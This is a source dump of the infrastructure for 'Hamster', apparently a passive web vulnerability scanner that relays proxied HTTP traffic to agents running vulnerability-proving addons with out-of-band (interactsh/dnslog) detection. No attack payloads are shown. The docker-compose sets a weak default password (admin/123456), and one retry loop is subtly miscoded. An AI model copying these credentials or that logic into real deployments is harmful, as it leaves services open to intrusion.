rabbitmq:management 30 | hostname: hamster_rabbitmq 31 | ports: 32 | - 127.0.0.1:5672:5672 33 | - 127.0.0.1:15672:15672 34 | environment: 35 | - RABBITMQ_DEFAULT_USER=admin 36 | - RABBITMQ_DEFAULT_PASS=123456 37 | - LANG=en_US.UTF-8 38 | - TZ=Asia/Shanghai 39 | container_name: hamster_rabbitmq 40 | networks: 41 | - hamster_network 42 | hamster_scan: 43 | restart: unless-stopped 44 | build: 45 | context: ../ 46 | dockerfile: docker/Dockerfile 47 | hostname: hamster_scan 48 | ports: 49 | - 8000:8000 50 | - 8001:8001 51 | - 8002:8002 52 | container_name: hamster_scan 53 | depends_on: 54 | - hamster_mysql 55 | - hamster_redis 56 | - hamster_rabbitmq 57 | networks: 58 | - hamster_network 59 | environment: 60 | - LANG=en_US.UTF-8 61 | - TZ=Asia/Shanghai 62 | 63 | networks: 64 | hamster_network: 65 | 66 | -------------------------------------------------------------------------------- /docker/restart.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | file="lock.txt" 4 | 5 | ./wait-for-it.sh hamster_mysql:3306 6 | ./wait-for-it.sh hamster_redis:6379 7 | ./wait-for-it.sh hamster_rabbitmq:5672 8 | 9 | if [ -f "$file" ]; then 10 | echo "restarting process..." 11 | else 12 | echo "starting process..." 13 | python3 init.py 14 | echo 1 > "$file" 15 | fi 16 | 17 | ps aux | grep "python manager.py" | awk '{print $2}' | xargs kill -9 18 | nohup python3 manager.py > /dev/null & 19 | echo "started manager" 20 | 21 | ps aux | grep "python support.py" | awk '{print $2}' | xargs kill -9 22 | nohup python3 support.py > /dev/null & 23 | echo "started support!" 24 | 25 | ps aux | grep "python server.py"| awk '{print $2}' | xargs kill -9 26 | nohup python3 server.py > /dev/null & 27 | echo "started server!" 28 | 29 | ps aux | grep "python agent.py" | awk '{print $2}' | xargs kill -9 30 | python3 agent.py 31 | echo "started agent!" 32 | 33 | echo "started process!" 34 | -------------------------------------------------------------------------------- /hamster.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # 检查参数数量 4 | if [ "$#" -ne 2 ]; then 5 | echo "Usage: $0 name cmd" 6 | echo "name: manager, server, support, agent, all" 7 | echo "cmd: restart, start, stop, status" 8 | exit 1 9 | fi 10 | 11 | name=$1 12 | cmd=$2 13 | 14 | stop_module(){ 15 | echo "Stopping $1..." 16 | pids=$( ps aux | grep "[p]ython $1" | awk '{print $2}') 17 | if [ ! -z "$pids" ]; then 18 | for pid in $pids; do 19 | flag=$(ls -la /proc/$pid | grep -i -q 'Hamster') 20 | if [ $? -eq 0 ]; then 21 | kill -9 $pid 22 | fi 23 | done 24 | fi 25 | echo "Stop $1 successfully!" 26 | } 27 | 28 | stop_all(){ 29 | stop_module "manager" 30 | stop_module "support" 31 | stop_module "server" 32 | stop_module "agent" 33 | } 34 | 35 | status_module(){ 36 | pids=$( ps aux | grep "[p]ython $1" | awk '{print $2}') 37 | if [ ! -z "$pids" ]; then 38 | for pid in $pids; do 39 | flag=$(ls -la /proc/$pid | grep -i -q 'Hamster') 40 | if [ $? -eq 0 ]; then 41 | ps p $pid | grep "[p]ython $1" 42 | fi 43 | done 44 | fi 45 | } 46 | 47 | status_all(){ 48 | status_module "manager" 49 | status_module "support" 50 | status_module "server" 51 | status_module "agent" 52 | } 53 | 54 | 55 | start_module(){ 56 | pids=$( ps aux | grep "[p]ython $1" | awk '{print $2}') 57 | if [ ! -z "$pids" ]; then 58 | for pid in $pids; do 59 | flag=$(ls -la /proc/$pid | grep -i -q 'Hamster') 60 | if [ $? -eq 0 ]; then 61 | echo "$1 already running!" 62 | return 63 | fi 64 | done 65 | fi 66 | module="${1}.py" 67 | module_log="log/nohup_${1}.out" 68 | echo "Starting $1..." 69 | source venv/bin/activate 70 | nohup python $module >> $module_log & 71 | echo "Start $1 successfully!" 72 | } 73 | 74 | 75 | start_all(){ 76 | start_module "manager" 77 | start_module "support" 78 | start_module "server" 79 | start_module "agent" 80 | } 81 | 82 | 83 | case $name in 84 | manager) 85 | ;; 86 | server) 87 | ;; 88 | support) 89 | ;; 90 | agent) 91 | ;; 92 | all) 93 | ;; 94 | *) 95 | echo "Unsupported name: $name" 96 | exit 1 97 | ;; 98 | esac 99 | 100 | case $cmd in 101 | restart) 102 | if [ "$name" == "all" ]; then 103 | stop_all 104 | start_all 105 | else 106 | stop_module $name 107 | start_module $name 108 | fi 109 | ;; 110 | start) 111 | if [ "$name" == "all" ]; then 112 | start_all 113 | else 114 | start_module $name 115 | fi 116 | ;; 117 | stop) 118 | if [ "$name" == "all" ]; then 119 | stop_all 120 | else 121 | stop_module $name 122 | fi 123 | ;; 124 | status) 125 | if [ "$name" == "all" ]; then 126 | status_all 127 | else 128 | status_module $name 129 | fi 130 | ;; 131 | *) 132 | echo "Unsupported cmd: $cmd" 133 | exit 1 134 | ;; 135 | esac 136 | -------------------------------------------------------------------------------- /lib/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | -------------------------------------------------------------------------------- /lib/core/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | -------------------------------------------------------------------------------- /lib/core/env.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | import os 6 | import sys 7 | import socket 8 | from datetime import timedelta 9 | from lib.util.configutil import parser_conf 10 | 11 | # 不生成pyc 12 | sys.dont_write_bytecode = True 13 | 14 | # 最低python运行版本 15 | REQUIRE_PY_VERSION = (3, 9) 16 | 17 | # 检测当前运行版本 18 | RUN_PY_VERSION = sys.version_info 19 | if RUN_PY_VERSION < REQUIRE_PY_VERSION: 20 | exit(f"[-] Incompatible Python version detected ('{RUN_PY_VERSION}). For successfully running program you'll have to use version {REQUIRE_PY_VERSION} (visit 'http://www.python.org/download/')") 21 | 22 | # 项目名称 23 | PROJECT_NAME = "Hamster" 24 | 25 | # 当前扫描器版本 26 | VERSION = "1.0" 27 | 28 | # 版本描述 29 | # VERSION_STRING = f"{PROJECT_NAME}/{VERSION}" 30 | VERSION_STRING = "X" 31 | 32 | # 当前运行入口文件 33 | MAIN_NAME = os.path.split(os.path.splitext(sys.argv[0])[0])[-1] 34 | 35 | # 当前运行路径 36 | ROOT_PATH = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) 37 | 38 | # 日志路径 39 | LOG = 'log' 40 | LOG_PATH = os.path.join(ROOT_PATH, LOG) 41 | 42 | # 配置路径 43 | CONFIG = 'conf' 44 | ENV_CONFIG_PATH = os.path.join(ROOT_PATH, CONFIG) 45 | 46 | # 运行环境 47 | ENV_CONFIG_FILE_PATH = os.path.join(ENV_CONFIG_PATH, f"{PROJECT_NAME.lower()}_env.conf") 48 | config_file_list = [(ENV_CONFIG_FILE_PATH, {("env", f"This is a env config for {PROJECT_NAME}"): {("env", "Run env"): "online"}})] 49 | env_conf = parser_conf(config_file_list) 50 | ENV = env_conf.env.env.lower() 51 | 52 | # 配置文件路径 53 | CONFIG_PATH = os.path.join(ENV_CONFIG_PATH, ENV) 54 | BASIC_CONFIG_FILE_PATH = os.path.join(CONFIG_PATH, f"{PROJECT_NAME.lower()}_basic.conf") 55 | SIMPLE_CONFIG_FILE_PATH = os.path.join(CONFIG_PATH, f"{PROJECT_NAME.lower()}_simple.conf") 56 | SERVER_CONFIG_FILE_PATH = os.path.join(CONFIG_PATH, f"{PROJECT_NAME.lower()}_server.conf") 57 | AGENT_CONFIG_FILE_PATH = os.path.join(CONFIG_PATH, f"{PROJECT_NAME.lower()}_agent.conf") 58 | SUPPORT_CONFIG_FILE_PATH = os.path.join(CONFIG_PATH, f"{PROJECT_NAME.lower()}_support.conf") 59 | MANAGER_CONFIG_FILE_PATH = os.path.join(CONFIG_PATH, f"{PROJECT_NAME.lower()}_manager.conf") 60 | 61 | # 模版文件路径 62 | TEMPLATE = 'template' 63 | TEMPLATE_PATH = os.path.join(ROOT_PATH, TEMPLATE) 64 | 65 | # 静态文件路径 66 | STATIC = 'static' 67 | STATIC_PATH = os.path.join(ROOT_PATH, STATIC) 68 | 69 | # 相关Addon路径 70 | ADDON = 'addon' 71 | ADDON_PATH = os.path.join(ROOT_PATH, ADDON) 72 | 73 | # Agent addon路径 74 | AGENT_ADDON = 'agent' 75 | AGENT_ADDON_PATH = os.path.join(ADDON_PATH, AGENT_ADDON) 76 | 77 | # Agent addon路径 78 | TEST_ADDON = 'test' 79 | TEST_ADDON_PATH = os.path.join(ADDON_PATH, TEST_ADDON) 80 | 81 | # Server addon路径 82 | SERVER_ADDON = 'server' 83 | SERVER_ADDON_PATH = os.path.join(ADDON_PATH, SERVER_ADDON) 84 | 85 | # Support addon路径 86 | SUPPORT_ADDON = 'support' 87 | SUPPORT_ADDON_PATH = os.path.join(ADDON_PATH, SUPPORT_ADDON) 88 | 89 | # Common addon路径 90 | COMMON_ADDON = 'common' 91 | COMMON_ADDON_PATH = os.path.join(ADDON_PATH, COMMON_ADDON) 92 | 93 | # 当前运行主机名称 94 | HOSTNAME = socket.gethostname() 95 | 96 | # WEB 调试模式 97 | WEB_DEBUG = False 98 | 99 | # 静态文件缓存 100 | SEND_FILE_MAX_AGE_DEFAULT = timedelta(hours=1) 101 | 102 | # Web 路径前缀 103 | PREFIX_URL = "/" + PROJECT_NAME.lower() + "/" + ENV 104 | 105 | REDIS_SCAN_RECODE_PRIFIX = 'ScanRecode' 106 | REDIS_SCAN_QPS_LIMIT_PREFIX = 'QPSLimit' 107 | 108 | HALT = 'odjaodoka193891u12' 109 | -------------------------------------------------------------------------------- /lib/core/g.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from lib.core.env import * 6 | from asyncio import Queue 7 | from sqlalchemy.orm import sessionmaker 8 | from sqlalchemy.ext.asyncio import AsyncSession 9 | from sqlalchemy.ext.asyncio import create_async_engine 10 | from lib.core.log import Logger 11 | from lib.core.config import config_parser 12 | from lib.core.mysql import Mysql 13 | from lib.core.rabbitmq import RabbitMQ 14 | from lib.core.redis import Redis 15 | 16 | # 配置存储 17 | conf = config_parser() 18 | 19 | # task扫码队列 20 | task_queue = Queue() 21 | 22 | # rabbitmq保存队列 23 | mq_queue = Queue() 24 | 25 | # 漏洞数据保存队列 26 | vul_queue = Queue() 27 | 28 | # 缓存数据数据保存队列 29 | cache_queue = Queue() 30 | 31 | # 非漏洞其他model数据保存队列 32 | packet_queue = Queue() 33 | email_queue = Queue() 34 | path_queue = Queue() 35 | param_queue = Queue() 36 | jsonp_queue = Queue() 37 | cors_queue = Queue() 38 | 39 | # 缓存日志 40 | cache_log = Logger(name='cache', use_console=False, backupCount=conf.cache.cache_log_stored_day) 41 | 42 | # agent日志 43 | agent_log = Logger(name='agent', use_console=True, backupCount=conf.cache.log_stored_day) 44 | 45 | # server日志 46 | server_log = Logger(name='server', use_console=True, backupCount=conf.cache.log_stored_day) 47 | 48 | # support日志 49 | support_log = Logger(name='support', use_console=True, backupCount=conf.cache.log_stored_day) 50 | 51 | # manager日志 52 | manager_log = Logger(name='manager', use_console=False, backupCount=conf.cache.log_stored_day) 53 | 54 | # manager日志 55 | simple_log = Logger(name='simple', use_console=True, backupCount=conf.cache.log_stored_day) 56 | 57 | if 'agent' in MAIN_NAME: 58 | log = agent_log 59 | elif 'support' in MAIN_NAME: 60 | log = support_log 61 | elif 'manager' in MAIN_NAME: 62 | log = manager_log 63 | elif 'simple' in MAIN_NAME: 64 | log = simple_log 65 | else: 66 | log = server_log 67 | 68 | rabbitmq = RabbitMQ( 69 | host=conf.rabbitmq.host, 70 | port=conf.rabbitmq.port, 71 | username=conf.rabbitmq.username, 72 | password=conf.rabbitmq.password, 73 | name=conf.rabbitmq.name 74 | ) 75 | 76 | redis = Redis( 77 | host=conf.redis.host, 78 | port=conf.redis.port, 79 | username=conf.redis.username, 80 | password=conf.redis.password, 81 | decode_responses=conf.redis.decode_responses, 82 | ) 83 | 84 | mysql = Mysql( 85 | host=conf.mysql.host, 86 | port=conf.mysql.port, 87 | username=conf.mysql.username, 88 | password=conf.mysql.password, 89 | dbname=conf.mysql.dbname, 90 | charset=conf.mysql.charset, 91 | collate=conf.mysql.collate, 92 | ) 93 | 94 | async_sqlalchemy_database_url = mysql.get_async_sqlalchemy_database_url() 95 | async_engine = create_async_engine(async_sqlalchemy_database_url) 96 | async_session = sessionmaker(async_engine, class_=AsyncSession) 97 | 98 | from lib.util.interactshutil import Interactsh 99 | interactsh_client = Interactsh() -------------------------------------------------------------------------------- /lib/core/mysql.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from lib.util.cipherutil import urlencode 6 | 7 | 8 | class Mysql(object): 9 | 10 | def __init__(self, host="127.0.0.1", port=6379, username=None, password=None, dbname=None, charset="utf8mb4", 11 | collate="utf8mb4_general_ci"): 12 | self.host = host 13 | self.port = port 14 | self.username = username 15 | if isinstance(password, int): 16 | password = str(password) 17 | self.password = urlencode(password) 18 | self.dbname = dbname 19 | self.charset = charset 20 | self.collate = collate 21 | self.sync_sqlalchemy_database_url = f'mysql+pymysql://{self.username}:{self.password}@{self.host}:{self.port}/{self.dbname}?charset={self.charset}' 22 | self.async_sqlalchemy_database_url_without_db = f'mysql+aiomysql://{self.username}:{self.password}@{self.host}:{self.port}/' 23 | self.async_sqlalchemy_database_url = f'{self.async_sqlalchemy_database_url_without_db}{self.dbname}?charset={self.charset}' 24 | 25 | def get_sync_sqlalchemy_database_url(self): 26 | """Sync 使用""" 27 | return self.sync_sqlalchemy_database_url 28 | 29 | def get_async_sqlalchemy_database_url_without_db(self): 30 | """Async 使用""" 31 | return self.async_sqlalchemy_database_url_without_db 32 | 33 | def get_async_sqlalchemy_database_url(self): 34 | """Async 使用""" 35 | return self.async_sqlalchemy_database_url 36 | -------------------------------------------------------------------------------- /lib/core/rabbitmq.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | import asyncio 6 | import aio_pika 7 | import traceback 8 | 9 | 10 | class RabbitMQ(object): 11 | 12 | def __init__(self, username, password, host="127.0.0.1", port=5672, name="test", exchange_name=None, 13 | routing_key=None, retry_count=3): 14 | 15 | self.username = username 16 | if isinstance(password, int): 17 | password = str(password) 18 | self.password = password 19 | self.host = host 20 | self.port = int(port) 21 | self.pre_name = name 22 | self.retry_count = retry_count 23 | self.channel = None 24 | self.connection = None 25 | self.exchange = None 26 | self.exchange_name = exchange_name if exchange_name else f'{self.pre_name}' 27 | self.queue_dic = {} 28 | self.default_routing_key = routing_key if routing_key else f'{self.pre_name}_dafault' 29 | self.url = f"amqp://{username}:{password}@{host}:{port}/" 30 | 31 | async def connect(self): 32 | if self.connection is None or self.channel is None or self.exchange is None or self.channel.is_closed: 33 | self.queue_dic = {} 34 | retry_count = self.retry_count 35 | while retry_count: 36 | try: 37 | self.connection = await aio_pika.connect( 38 | host=self.host, port=self.port, 39 | login=self.username, password=self.password 40 | ) 41 | self.channel = await self.connection.channel() 42 | self.exchange = await self.channel.declare_exchange( 43 | self.exchange_name, aio_pika.ExchangeType.DIRECT, durable=True, 44 | ) 45 | return True 46 | except Exception: 47 | retry_count -= retry_count - 1 48 | await asyncio.sleep((5 - retry_count) * 5) 49 | return False 50 | 51 | return True 52 | 53 | async def close(self): 54 | try: 55 | await self.channel.close() 56 | await self.connection.close() 57 | except: 58 | pass 59 | finally: 60 | self.channel = None 61 | self.connection = None 62 | self.exchange = None 63 | 64 | async def consumer(self, callback): 65 | while True: 66 | if await self.connect(): 67 | try: 68 | for routing_key in self.queue_dic.keys(): 69 | message = await self.queue_dic[routing_key].get(fail=False) 70 | if message: 71 | await callback(message) 72 | await message.ack() 73 | else: 74 | await asyncio.sleep(0.1) 75 | except: 76 | traceback.print_exc() 77 | await self.close() 78 | await asyncio.sleep(0.1) 79 | 80 | async def bind_routing_key(self, routing_key): 81 | if await self.connect(): 82 | if routing_key not in self.queue_dic.keys(): 83 | queue = await self.channel.declare_queue(name=routing_key, durable=True) 84 | await queue.bind(self.exchange, routing_key) 85 | self.queue_dic[routing_key] = queue 86 | 87 | async def unbind_routing_key(self, routing_key): 88 | if await self.connect(): 89 | if routing_key in self.queue_dic.keys(): 90 | # await self.queue_dic[routing_key].unbind(self.exchange, routing_key) 91 | self.queue_dic[routing_key] = None 92 | del self.queue_dic[routing_key] 93 | 94 | def get_routing_key_list(self): 95 | return self.queue_dic.keys() 96 | 97 | async def publish(self, message, priority=1, delivery_mode=2, routing_key=None): 98 | if await self.connect(): 99 | routing_key = routing_key if routing_key else self.default_routing_key 100 | await self.bind_routing_key(routing_key) 101 | await self.exchange.publish( 102 | aio_pika.Message(message, priority=priority, delivery_mode=delivery_mode), 103 | routing_key=routing_key 104 | ) 105 | -------------------------------------------------------------------------------- /lib/core/redis.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | import aioredis 6 | 7 | 8 | class Redis(object): 9 | 10 | def __init__(self, host="127.0.0.1", port=6379, username=None, password=None, decode_responses=True): 11 | self.host = host 12 | self.port = port 13 | self.username = username 14 | if isinstance(password, int): 15 | password = str(password) 16 | self.password = password 17 | self.decode_responses = decode_responses 18 | self.redis_pool = None 19 | self.redis_pool = aioredis.ConnectionPool.from_url( 20 | f"redis://{self.host}:{self.port}/", 21 | password=self.password, 22 | decode_responses=self.decode_responses, 23 | ) 24 | self.redis_conn = None 25 | 26 | def get_redis_pool(self): 27 | return self.redis_pool 28 | 29 | async def connect(self): 30 | self.redis_conn = aioredis.Redis(connection_pool=self.redis_pool) 31 | return self.redis_conn 32 | 33 | async def ping(self): 34 | try: 35 | await self.redis_conn.ping() 36 | return True 37 | except: 38 | return False 39 | -------------------------------------------------------------------------------- /lib/engine/agent/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from lib.core.env import * 6 | import asyncio 7 | from lib.core.g import log 8 | from lib.core.g import interactsh_client 9 | from lib.core.g import conf 10 | from lib.core.g import redis 11 | from lib.core.g import rabbitmq 12 | from lib.core.g import task_queue 13 | from lib.core.asyncpool import PoolCollector 14 | from lib.core.enums import EngineType 15 | from lib.core.enums import EngineStatus 16 | from lib.engine import BaseEngine 17 | from lib.util.util import get_host_ip 18 | 19 | 20 | class BaseAgent(BaseEngine): 21 | """Agent 基础类""" 22 | 23 | def __init__(self): 24 | super().__init__() 25 | 26 | # Engine 属性 27 | self.engine_type = EngineType.BASE_AGENT 28 | self.id = f'{HOSTNAME}_{self.engine_type}' 29 | self.ip = get_host_ip() 30 | self.status = EngineStatus.OK 31 | 32 | 33 | # 加载配置 34 | self.addon_async = conf.basic.addon_async 35 | 36 | # 属性初始化 37 | self.max_data_queue_num = conf.basic.max_data_queue_num 38 | self.scan_max_task_num = conf.scan.scan_max_task_num 39 | self.num_workers = 500 40 | self.remaining = 0 41 | self.scanning = 0 42 | self.queue_num = 0 43 | self.dnslog_api_key = conf.platform.dnslog_api_key 44 | 45 | 46 | def do_scan(self, flow_hash, flow, addon): 47 | """虚函数,子类实现""" 48 | 49 | async def consumer_message(self, message): 50 | """虚函数,子类实现""" 51 | 52 | def configure_addons(self): 53 | """加载脚本,子类实现""" 54 | 55 | def print_status(self): 56 | """打印状态""" 57 | 58 | self.remaining = task_queue.qsize() 59 | self.queue_num = self.get_data_queue_size() 60 | log.info( 61 | f"Engine: {self.id}, Status: {self.status}, Remaining: {self.remaining}, Scanning: {self.scanning}, Queue: {self.queue_num}, Max: {self.scan_max_task_num}") 62 | 63 | async def put_task_queue(self, flow_hash, flow, addon): 64 | """推送flow到任务队列""" 65 | 66 | while True: 67 | if task_queue.empty() and self.status != EngineStatus.STOP: 68 | await task_queue.put((flow_hash, flow, addon)) 69 | break 70 | await asyncio.sleep(0.1) 71 | 72 | async def listen_task(self): 73 | """监听任务""" 74 | 75 | log.info("Starting listen task... ") 76 | 77 | # 等待配置加载完毕 78 | await asyncio.sleep(30) 79 | while True: 80 | try: 81 | await rabbitmq.consumer(self.consumer_message) 82 | except Exception as e: 83 | msg = str(e) 84 | log.error(f"Error listen_task, error: {msg}") 85 | finally: 86 | await rabbitmq.close() 87 | await asyncio.sleep(0.1) 88 | 89 | async def submit_task(self, manager: PoolCollector): 90 | """提交任务到扫描模块""" 91 | log.info("Starting submit task... ") 92 | try: 93 | while True: 94 | self.scanning = manager.scanning_task_count + manager.remain_task_count 95 | if not task_queue.empty() and self.scanning < self.scan_max_task_num: 96 | self.queue_num = self.get_data_queue_size() 97 | if self.queue_num < self.max_data_queue_num: 98 | flow_hash, flow, addon = await task_queue.get() 99 | await manager.submit(self.do_scan, flow_hash, flow, addon) 100 | else: 101 | await asyncio.sleep(0.1) 102 | else: 103 | await asyncio.sleep(0.1) 104 | except Exception as e: 105 | msg = str(e) 106 | log.error(f"Error submit_task, error: {msg}") 107 | finally: 108 | await manager.shutdown() 109 | 110 | 111 | async def running(self): 112 | """启动agent""" 113 | 114 | await rabbitmq.connect() 115 | await redis.connect() 116 | 117 | async with PoolCollector.create(num_workers=self.num_workers) as manager: 118 | asyncio.ensure_future(self.init_dnslog()) 119 | asyncio.ensure_future(self.submit_task(manager)) 120 | asyncio.ensure_future(self.listen_task()) 121 | asyncio.ensure_future(self.data_center()) 122 | asyncio.ensure_future(self.cache_center()) 123 | asyncio.ensure_future(self.heartbeat()) 124 | async for result in manager.iter(): 125 | pass 126 | 127 | def run(self): 128 | loop = asyncio.new_event_loop() 129 | asyncio.set_event_loop(loop) 130 | loop.run_until_complete(self.running()) -------------------------------------------------------------------------------- /lib/engine/agent/vulagent.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from lib.core.env import * 6 | import json 7 | import asyncio 8 | import traceback 9 | from lib.core.g import log, rabbitmq 10 | from lib.core.enums import EngineType 11 | from lib.engine.agent import BaseAgent 12 | from lib.util.flowutil import flow_loads 13 | from lib.util.cipherutil import base64decode 14 | from lib.util.addonutil import import_addon_file 15 | 16 | class VulAgent(BaseAgent): 17 | """ 18 | VulAgent 19 | """ 20 | 21 | def __init__(self): 22 | super().__init__() 23 | 24 | # Engine 属性 25 | self.engine_type = EngineType.VUL_AGENT 26 | self.id = f'{HOSTNAME}_{self.engine_type}' 27 | 28 | def configure_addons(self): 29 | """加载脚本,子类实现""" 30 | 31 | self.addon_list = [addon for addon in import_addon_file(AGENT_ADDON_PATH) if hasattr(addon, 'prove')] 32 | 33 | async def consumer_message(self, message): 34 | message_body = message.body.decode() 35 | try: 36 | message_dic = json.loads(message_body) 37 | flow = flow_loads(base64decode(message_dic['flow_base64_data'])) 38 | flow_addon_type = message_dic['flow_addon_type'] 39 | flow_hash = message_dic['flow_hash'] 40 | flow_addon_list = None if message_dic['flow_addon_list'] is None or message_dic['flow_addon_list'] == "ALL" else json.loads(message_dic['flow_addon_list']) 41 | except Exception as e: 42 | msg = str(e) 43 | log.error(f"Error load message, error: {msg}") 44 | else: 45 | # 匹配addon脚本 46 | if flow_addon_list is None: 47 | addon_list = self.addon_list 48 | else: 49 | if isinstance(flow_addon_list, list): 50 | addon_list = [] 51 | for addon_path in flow_addon_list: 52 | for addon in self.addon_list: 53 | if addon_path == addon.info().get("addon_path", ""): 54 | addon_list.append(addon) 55 | break 56 | else: 57 | addon_list = self.addon_list 58 | 59 | if len(addon_list) and addon_list[0].is_scan_response(flow): 60 | for addon in addon_list: 61 | try: 62 | addon_type = addon.info().get("addon_type", None) 63 | if addon_type == flow_addon_type: 64 | if addon.enable: 65 | await self.put_task_queue(flow_hash, flow, addon) 66 | else: 67 | log.info(f"Bypass addon scan, hash: {flow_hash}, addon: {addon.name}") 68 | except Exception as e: 69 | msg = str(e) 70 | log.error(f"Error addon scan, hash: {flow_hash}, addon: {addon.name}, error: {msg}") 71 | else: 72 | log.info(f"Bypass scan response packet, hash: {flow_hash}") 73 | 74 | async def do_scan(self, flow_hash, flow, addon): 75 | """扫描函数""" 76 | 77 | try: 78 | if addon.is_scan_response(flow): 79 | log.info(f"Start scan, hash: {flow_hash}, addon: {addon.name}") 80 | res = await addon.prove(flow) 81 | log.info(f"Final scan, hash: {flow_hash}, addon: {addon.name}") 82 | else: 83 | log.info(f"Skip scan, hash: {flow_hash}, addon: {addon.name}") 84 | except (ConnectionResetError, ConnectionAbortedError, TimeoutError, asyncio.TimeoutError): 85 | pass 86 | except (asyncio.CancelledError, ConnectionRefusedError, OSError): 87 | pass 88 | except Exception: 89 | msg = str(traceback.format_exc()) 90 | log.error(f"Error scan, hash: {flow_hash}, addon: {addon.name}, error: {msg}") -------------------------------------------------------------------------------- /lib/engine/manager/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from lib.core.env import * 6 | from lib.engine import BaseEngine 7 | from lib.core.g import log 8 | from lib.core.g import conf 9 | from lib.core.enums import EngineType 10 | from lib.core.enums import EngineStatus 11 | from lib.util.util import get_host_ip 12 | 13 | 14 | class BaseManager(BaseEngine): 15 | """Manager 基础类""" 16 | 17 | def __init__(self): 18 | super().__init__() 19 | 20 | # Engine 属性 21 | self.engine_type = EngineType.BASE_MANAGER 22 | self.id = f'{HOSTNAME}_{self.engine_type}' 23 | self.ip = get_host_ip() 24 | self.status = EngineStatus.OK 25 | 26 | # 属性初始化 27 | self.remaining = 0 28 | self.scanning = 0 29 | self.queue_num = 0 30 | self.scan_max_task_num = conf.scan.scan_max_task_num 31 | self.max_data_queue_num = conf.basic.max_data_queue_num 32 | 33 | 34 | def print_status(self): 35 | """打印状态""" 36 | 37 | log.info(f"Engine: {self.id}, Status: {self.status}") -------------------------------------------------------------------------------- /lib/engine/manager/webmanager.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from lib.core.env import * 6 | from werkzeug.middleware.proxy_fix import ProxyFix 7 | from lib.core.enums import EngineType 8 | from lib.hander import app 9 | from lib.core.g import conf 10 | from lib.engine.manager import BaseManager 11 | 12 | class WebManager(BaseManager): 13 | """ 14 | Manager 控制台 15 | """ 16 | 17 | def __init__(self): 18 | super().__init__() 19 | 20 | # Engine 属性 21 | self.engine_type = EngineType.WEB_MANAGER 22 | self.id = f'{HOSTNAME}_{self.engine_type}' 23 | 24 | # 加载配置 25 | self.listen_host = conf.manager.listen_host 26 | self.listen_port = conf.manager.listen_port 27 | 28 | def run(self): 29 | app.wsgi_app = ProxyFix(app.wsgi_app) 30 | app.run(host=self.listen_host, port=self.listen_port) 31 | 32 | -------------------------------------------------------------------------------- /lib/engine/master/servermaster.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | import traceback 6 | from lib.core.env import * 7 | import json 8 | import asyncio 9 | from mitmproxy.addons import asgiapp 10 | from lib.engine.master import BaseMaster 11 | from lib.core.g import log 12 | from lib.core.g import conf 13 | from lib.core.g import mq_queue 14 | from lib.core.g import redis 15 | from lib.core.g import rabbitmq 16 | from lib.hander import app 17 | from lib.core.common import handle_flow 18 | from lib.core.enums import EngineType 19 | from lib.util.flowutil import flow_dumps 20 | from lib.util.cipherutil import base64encode 21 | 22 | class ServerMaster(BaseMaster): 23 | """ 24 | Server Master为主代理监听模块 25 | """ 26 | 27 | def __init__(self): 28 | super().__init__() 29 | 30 | # Engine 属性 31 | self.engine_type = EngineType.SERVER_MASTER 32 | self.id = f'{HOSTNAME}_{self.engine_type}' 33 | 34 | # 属性初始化 35 | self.addon_list = [] 36 | self.addon_top_path_list = [SERVER_ADDON_PATH, COMMON_ADDON_PATH] 37 | 38 | # 加载配置 39 | self.options.listen_host = conf.server.listen_host 40 | self.options.listen_port = conf.server.listen_port 41 | self.addons.add(asgiapp.WSGIApp(app, conf.basic.listen_domain, 80)) 42 | 43 | def hook(self): 44 | """运行相关伴随线程""" 45 | 46 | # 加载配置 47 | self.configure_addons() 48 | 49 | # 启动心跳 50 | asyncio.ensure_future(self.heartbeat()) 51 | 52 | # 启动任务推送 53 | asyncio.ensure_future(self.task_center()) 54 | 55 | 56 | 57 | async def task_center(self): 58 | """直接调用mitm的线程,容易造成mysql链接阻塞,因此需要单独线程推送数据包到消息队列""" 59 | 60 | log.info("Starting task center... ") 61 | await rabbitmq.connect() 62 | await redis.connect() 63 | 64 | while True: 65 | try: 66 | if not mq_queue.empty(): 67 | (flow, addon_list, routing_key) = await mq_queue.get() 68 | await self.handle_task(flow, addon_list, routing_key) 69 | else: 70 | await asyncio.sleep(0.1) 71 | except Exception as e: 72 | msg = str(e) 73 | traceback.print_exc() 74 | log.error(f"Error listener center, error: {msg}") 75 | 76 | 77 | 78 | async def handle_task(self, flow, addon_list=None, routing_key=None): 79 | """ 80 | flow 去重,并添加扫描队列 81 | :param flow: 扫描的数据包 82 | :param addon_list: 需要扫描的addon列表, 空为全部 83 | """ 84 | 85 | async for flow_hash, flow_addon_list, flow_addon_type, flow in handle_flow(flow, None, addon_list): 86 | message = { 87 | 'flow_addon_list': flow_addon_list, 88 | 'flow_addon_type': flow_addon_type, 89 | 'flow_hash': flow_hash, 90 | 'flow_base64_data': base64encode(flow_dumps(flow)) 91 